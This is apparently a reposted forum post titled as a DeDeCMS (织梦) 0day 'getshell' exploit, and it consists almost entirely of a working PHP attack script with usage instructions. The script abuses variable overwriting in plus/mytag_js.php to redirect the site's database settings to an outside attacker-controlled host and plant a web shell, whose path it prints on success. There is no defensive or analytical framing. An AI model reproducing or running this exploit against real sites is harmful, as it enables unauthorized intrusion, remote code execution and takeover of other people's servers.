DeDeCMS(织梦)变量覆盖0day getshell

wanghui887799

代码:<?php

error_reporting(E_ERROR);

set_time_limit(0);

echo "\r\n";

if($argv[2]==null){

print_r("

+---------------------------------------------------------------------------+

Usage: php '.$argv[0].' url aid path

aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/

Example:

php '.$argv[0].' www.site.com 1 old

+---------------------------------------------------------------------------+

");

exit;

}

$url=$argv[1];

$aid=$argv[2];

$path=$argv[3];

$exp=Getshell($url,$aid,$path);

if (strpos($exp,"OK")>12){

echo "

Exploit Success \n";

if($aid==1)echo "

Shell:".$url."/$path/data/cache/fuck.php\n" ;



if($aid==2)echo "

Shell:".$url."/$path/fuck.php\n" ;



if($aid==3)echo "

Shell:".$url."/$path/plus/fuck.php\n";



}else{

echo "

Exploit Failed \n";

}

function Getshell($url,$aid,$path){

$id=$aid;

$host=$url;

$port="80";

$content
="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";

$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";

$data .= "Host: ".$host."\r\n";

$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";

$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";

$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";

//$data .= "Accept-Encoding: gzip,deflate\r\n";

$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";

$data .= "Connection: keep-alive\r\n";

$data .= "Content-Type: application/x-www-form-urlencoded\r\n";

$data .= "Content-Length: ".strlen($content)."\r\n\r\n";

$data .= $content."\r\n";

$ock=fsockopen($host,$port);

if (!$ock) {

echo "

  No response from ".$host."\n";

}

fwrite($ock,$data);

while (!feof($ock)) {

$exp=fgets($ock, 1024);

return $exp;

}

}



?>